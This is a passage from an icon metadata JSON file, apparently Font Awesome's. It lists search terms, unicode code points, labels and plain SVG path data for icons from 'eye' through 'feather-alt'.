32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z" + }, + "regular": { + "last_modified": 1628088634797, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 144a110.94 110.94 0 0 0-31.24 5 55.4 55.4 0 0 1 7.24 27 56 56 0 0 1-56 56 55.4 55.4 0 0 1-27-7.24A111.71 111.71 0 1 0 288 144zm284.52 97.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400c-98.65 0-189.09-55-237.93-144C98.91 167 189.34 112 288 112s189.09 55 237.93 144C477.1 345 386.66 400 288 400z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 144a110.94 110.94 0 0 0-31.24 5 55.4 55.4 0 0 1 7.24 27 56 56 0 0 1-56 56 55.4 55.4 0 0 1-27-7.24A111.71 111.71 0 1 0 288 144zm284.52 97.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400c-98.65 0-189.09-55-237.93-144C98.91 167 189.34 112 288 112s189.09 55 237.93 144C477.1 345 386.66 400 288 400z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "eye-dropper": { + "changes": [ + "4.2", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "beaker", + "clone", + "color", + "copy", + "eyedropper", + "pipette" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1fb", + "label": "Eye Dropper", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635467, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M50.75 333.25c-12 12-18.75 28.28-18.75 45.26V424L0 480l32 32 56-32h45.49c16.97 0 33.25-6.74 45.25-18.74l126.64-126.62-128-128L50.75 333.25zM483.88 28.12c-37.47-37.5-98.28-37.5-135.75 0l-77.09 77.09-13.1-13.1c-9.44-9.44-24.65-9.31-33.94 0l-40.97 40.97c-9.37 9.37-9.37 24.57 0 33.94l161.94 161.94c9.44 9.44 24.65 9.31 33.94 0L419.88 288c9.37-9.37 9.37-24.57 0-33.94l-13.1-13.1 77.09-77.09c37.51-37.48 37.51-98.26.01-135.75z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M50.75 333.25c-12 12-18.75 28.28-18.75 45.26V424L0 480l32 32 56-32h45.49c16.97 0 33.25-6.74 45.25-18.74l126.64-126.62-128-128L50.75 333.25zM483.88 28.12c-37.47-37.5-98.28-37.5-135.75 0l-77.09 77.09-13.1-13.1c-9.44-9.44-24.65-9.31-33.94 0l-40.97 40.97c-9.37 9.37-9.37 24.57 0 33.94l161.94 161.94c9.44 9.44 24.65 9.31 33.94 0L419.88 288c9.37-9.37 9.37-24.57 0-33.94l-13.1-13.1 77.09-77.09c37.51-37.48 37.51-98.26.01-135.75z" + } + }, + "free": [ + "solid" + ] + }, + "eye-slash": { + "changes": [ + "1", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "blind", + "hide", + "show", + "toggle", + "unseen", + "views", + "visible", + "visiblity" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f070", + "label": "Eye Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635468, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z" + }, + "regular": { + "last_modified": 1628088634797, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M634 471L36 3.51A16 16 0 0 0 13.51 6l-10 12.49A16 16 0 0 0 6 41l598 467.49a16 16 0 0 0 22.49-2.49l10-12.49A16 16 0 0 0 634 471zM296.79 146.47l134.79 105.38C429.36 191.91 380.48 144 320 144a112.26 112.26 0 0 0-23.21 2.47zm46.42 219.07L208.42 260.16C210.65 320.09 259.53 368 320 368a113 113 0 0 0 23.21-2.46zM320 112c98.65 0 189.09 55 237.93 144a285.53 285.53 0 0 1-44 60.2l37.74 29.5a333.7 333.7 0 0 0 52.9-75.11 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64c-36.7 0-71.71 7-104.63 18.81l46.41 36.29c18.94-4.3 38.34-7.1 58.22-7.1zm0 288c-98.65 0-189.08-55-237.93-144a285.47 285.47 0 0 1 44.05-60.19l-37.74-29.5a333.6 333.6 0 0 0-52.89 75.1 32.35 32.35 0 0 0 0 29.19C89.72 376.41 197.08 448 320 448c36.7 0 71.71-7.05 104.63-18.81l-46.41-36.28C359.28 397.2 339.89 400 320 400z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M634 471L36 3.51A16 16 0 0 0 13.51 6l-10 12.49A16 16 0 0 0 6 41l598 467.49a16 16 0 0 0 22.49-2.49l10-12.49A16 16 0 0 0 634 471zM296.79 146.47l134.79 105.38C429.36 191.91 380.48 144 320 144a112.26 112.26 0 0 0-23.21 2.47zm46.42 219.07L208.42 260.16C210.65 320.09 259.53 368 320 368a113 113 0 0 0 23.21-2.46zM320 112c98.65 0 189.09 55 237.93 144a285.53 285.53 0 0 1-44 60.2l37.74 29.5a333.7 333.7 0 0 0 52.9-75.11 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64c-36.7 0-71.71 7-104.63 18.81l46.41 36.29c18.94-4.3 38.34-7.1 58.22-7.1zm0 288c-98.65 0-189.08-55-237.93-144a285.47 285.47 0 0 1 44.05-60.19l-37.74-29.5a333.6 333.6 0 0 0-52.89 75.1 32.35 32.35 0 0 0 0 29.19C89.72 376.41 197.08 448 320 448c36.7 0 71.71-7.05 104.63-18.81l-46.41-36.28C359.28 397.2 339.89 400 320 400z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "facebook": { + "changes": [ + "2", + "5.0.0", + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [ + "facebook-official", + "social network" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f09a", + "label": "Facebook", + "voted": false, + "svg": { + "brands": { + "last_modified": 1563977084862, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z" + } + }, + "free": [ + "brands" + ] + }, + "facebook-f": { + "changes": [ + "5.0.0", + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [ + "facebook" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f39e", + "label": "Facebook F", + "voted": false, + "svg": { + "brands": { + "last_modified": 1563977084862, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z" + } + }, + "free": [ + "brands" + ] + }, + "facebook-messenger": { + "changes": [ + "5.0.0", + "5.8.2", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f39f", + "label": "Facebook Messenger", + "voted": false, + "svg": { + "brands": { + "last_modified": 1563977084862, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z" + } + }, + "free": [ + "brands" + ] + }, + "facebook-square": { + "changes": [ + "1", + "5.0.0", + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [ + "social network" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f082", + "label": "Facebook Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1563977084862, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z" + } + }, + "free": [ + "brands" + ] + }, + "fan": { + "changes": [ + "5.9.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "ac", + "air conditioning", + "blade", + "blower", + "cool", + "hot" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f863", + "label": "Fan", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635469, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352.57 128c-28.09 0-54.09 4.52-77.06 12.86l12.41-123.11C289 7.31 279.81-1.18 269.33.13 189.63 10.13 128 77.64 128 159.43c0 28.09 4.52 54.09 12.86 77.06L17.75 224.08C7.31 223-1.18 232.19.13 242.67c10 79.7 77.51 141.33 159.3 141.33 28.09 0 54.09-4.52 77.06-12.86l-12.41 123.11c-1.05 10.43 8.11 18.93 18.59 17.62 79.7-10 141.33-77.51 141.33-159.3 0-28.09-4.52-54.09-12.86-77.06l123.11 12.41c10.44 1.05 18.93-8.11 17.62-18.59-10-79.7-77.51-141.33-159.3-141.33zM256 288a32 32 0 1 1 32-32 32 32 0 0 1-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M352.57 128c-28.09 0-54.09 4.52-77.06 12.86l12.41-123.11C289 7.31 279.81-1.18 269.33.13 189.63 10.13 128 77.64 128 159.43c0 28.09 4.52 54.09 12.86 77.06L17.75 224.08C7.31 223-1.18 232.19.13 242.67c10 79.7 77.51 141.33 159.3 141.33 28.09 0 54.09-4.52 77.06-12.86l-12.41 123.11c-1.05 10.43 8.11 18.93 18.59 17.62 79.7-10 141.33-77.51 141.33-159.3 0-28.09-4.52-54.09-12.86-77.06l123.11 12.41c10.44 1.05 18.93-8.11 17.62-18.59-10-79.7-77.51-141.33-159.3-141.33zM256 288a32 32 0 1 1 32-32 32 32 0 0 1-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "fantasy-flight-games": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "d&d", + "dnd", + "fantasy", + "game", + "gaming", + "tabletop" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f6dc", + "label": "Fantasy Flight-games", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633722, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99a42569.01 42569.01 0 0 1-41.13-40.72zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99a42569.01 42569.01 0 0 1-41.13-40.72zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z" + } + }, + "free": [ + "brands" + ] + }, + "fast-backward": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "beginning", + "first", + "previous", + "rewind", + "start" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f049", + "label": "fast-backward", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635469, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 436V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v151.9L235.5 71.4C256.1 54.3 288 68.6 288 96v131.9L459.5 71.4C480.1 54.3 512 68.6 512 96v320c0 27.4-31.9 41.7-52.5 24.6L288 285.3V416c0 27.4-31.9 41.7-52.5 24.6L64 285.3V436c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 436V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v151.9L235.5 71.4C256.1 54.3 288 68.6 288 96v131.9L459.5 71.4C480.1 54.3 512 68.6 512 96v320c0 27.4-31.9 41.7-52.5 24.6L288 285.3V416c0 27.4-31.9 41.7-52.5 24.6L64 285.3V436c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12z" + } + }, + "free": [ + "solid" + ] + }, + "fast-forward": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "end", + "last", + "next" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f050", + "label": "fast-forward", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635469, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 76v360c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V284.1L276.5 440.6c-20.6 17.2-52.5 2.8-52.5-24.6V284.1L52.5 440.6C31.9 457.8 0 443.4 0 416V96c0-27.4 31.9-41.7 52.5-24.6L224 226.8V96c0-27.4 31.9-41.7 52.5-24.6L448 226.8V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 76v360c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V284.1L276.5 440.6c-20.6 17.2-52.5 2.8-52.5-24.6V284.1L52.5 440.6C31.9 457.8 0 443.4 0 416V96c0-27.4 31.9-41.7 52.5-24.6L224 226.8V96c0-27.4 31.9-41.7 52.5-24.6L448 226.8V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12z" + } + }, + "free": [ + "solid" + ] + }, + "faucet": { + "changes": [ + "5.12.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "drip", + "house", + "hygiene", + "kitchen", + "sink", + "water" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e005", + "label": "Faucet", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635470, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352,256H313.39c-15.71-13.44-35.46-23.07-57.39-28V180.44l-32-3.38-32,3.38V228c-21.93,5-41.68,14.6-57.39,28H16A16,16,0,0,0,0,272v96a16,16,0,0,0,16,16h92.79C129.38,421.73,173,448,224,448s94.62-26.27,115.21-64H352a32,32,0,0,1,32,32,32,32,0,0,0,32,32h64a32,32,0,0,0,32-32A160,160,0,0,0,352,256ZM81.59,159.91l142.41-15,142.41,15c9.42,1,17.59-6.81,17.59-16.8V112.89c0-10-8.17-17.8-17.59-16.81L256,107.74V80a16,16,0,0,0-16-16H208a16,16,0,0,0-16,16v27.74L81.59,96.08C72.17,95.09,64,102.9,64,112.89v30.22C64,153.1,72.17,160.91,81.59,159.91Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M352,256H313.39c-15.71-13.44-35.46-23.07-57.39-28V180.44l-32-3.38-32,3.38V228c-21.93,5-41.68,14.6-57.39,28H16A16,16,0,0,0,0,272v96a16,16,0,0,0,16,16h92.79C129.38,421.73,173,448,224,448s94.62-26.27,115.21-64H352a32,32,0,0,1,32,32,32,32,0,0,0,32,32h64a32,32,0,0,0,32-32A160,160,0,0,0,352,256ZM81.59,159.91l142.41-15,142.41,15c9.42,1,17.59-6.81,17.59-16.8V112.89c0-10-8.17-17.8-17.59-16.81L256,107.74V80a16,16,0,0,0-16-16H208a16,16,0,0,0-16,16v27.74L81.59,96.08C72.17,95.09,64,102.9,64,112.89v30.22C64,153.1,72.17,160.91,81.59,159.91Z" + } + }, + "free": [ + "solid" + ] + }, + "fax": { + "changes": [ + "4.1", + "5.0.0", + "5.3.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "business", + "communicate", + "copy", + "facsimile", + "send" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1ac", + "label": "Fax", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635470, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 160V77.25a32 32 0 0 0-9.38-22.63L425.37 9.37A32 32 0 0 0 402.75 0H160a32 32 0 0 0-32 32v448a32 32 0 0 0 32 32h320a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM288 432a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm128 128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-112H192V64h160v48a16 16 0 0 0 16 16h48zM64 128H32a32 32 0 0 0-32 32v320a32 32 0 0 0 32 32h32a32 32 0 0 0 32-32V160a32 32 0 0 0-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480 160V77.25a32 32 0 0 0-9.38-22.63L425.37 9.37A32 32 0 0 0 402.75 0H160a32 32 0 0 0-32 32v448a32 32 0 0 0 32 32h320a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM288 432a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm128 128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-112H192V64h160v48a16 16 0 0 0 16 16h48zM64 128H32a32 32 0 0 0-32 32v320a32 32 0 0 0 32 32h32a32 32 0 0 0 32-32V160a32 32 0 0 0-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "feather": { + "changes": [ + "5.0.13", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bird", + "light", + "plucked", + "quill", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f52d", + "label": "Feather", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635471, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M467.14 44.84c-62.55-62.48-161.67-64.78-252.28 25.73-78.61 78.52-60.98 60.92-85.75 85.66-60.46 60.39-70.39 150.83-63.64 211.17l178.44-178.25c6.26-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.6 9.37 33.98 0l66.1-66.03C159.42 454.65 279 457.11 353.95 384h-98.19l147.57-49.14c49.99-49.93 36.38-36.18 46.31-46.86h-97.78l131.54-43.8c45.44-74.46 34.31-148.84-16.26-199.36z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M467.14 44.84c-62.55-62.48-161.67-64.78-252.28 25.73-78.61 78.52-60.98 60.92-85.75 85.66-60.46 60.39-70.39 150.83-63.64 211.17l178.44-178.25c6.26-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.6 9.37 33.98 0l66.1-66.03C159.42 454.65 279 457.11 353.95 384h-98.19l147.57-49.14c49.99-49.93 36.38-36.18 46.31-46.86h-97.78l131.54-43.8c45.44-74.46 34.31-148.84-16.26-199.36z" + } + }, + "free": [ + "solid" + ] + }, + "feather-alt": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bird", + "light", + "plucked", + "quill", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f56b", + "label": "Alternate Feather", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635471, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 0C460.22 3.56 96.44 38.2 71.01 287.61c-3.09 26.66-4.84 53.44-5.99 80.24l178.87-178.69c6.25-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.59 9.37 33.98 0l57.13-57.07c42.09-.14 84.15-2.53 125.96-7.36 53.48-5.44 97.02-26.47 132.58-56.54H255.74l146.79-48.88c11.25-14.89 21.37-30.71 30.45-47.12h-81.14l106.54-53.21C500.29 132.86 510.19 26.26 512 0z\"/></svg>", + 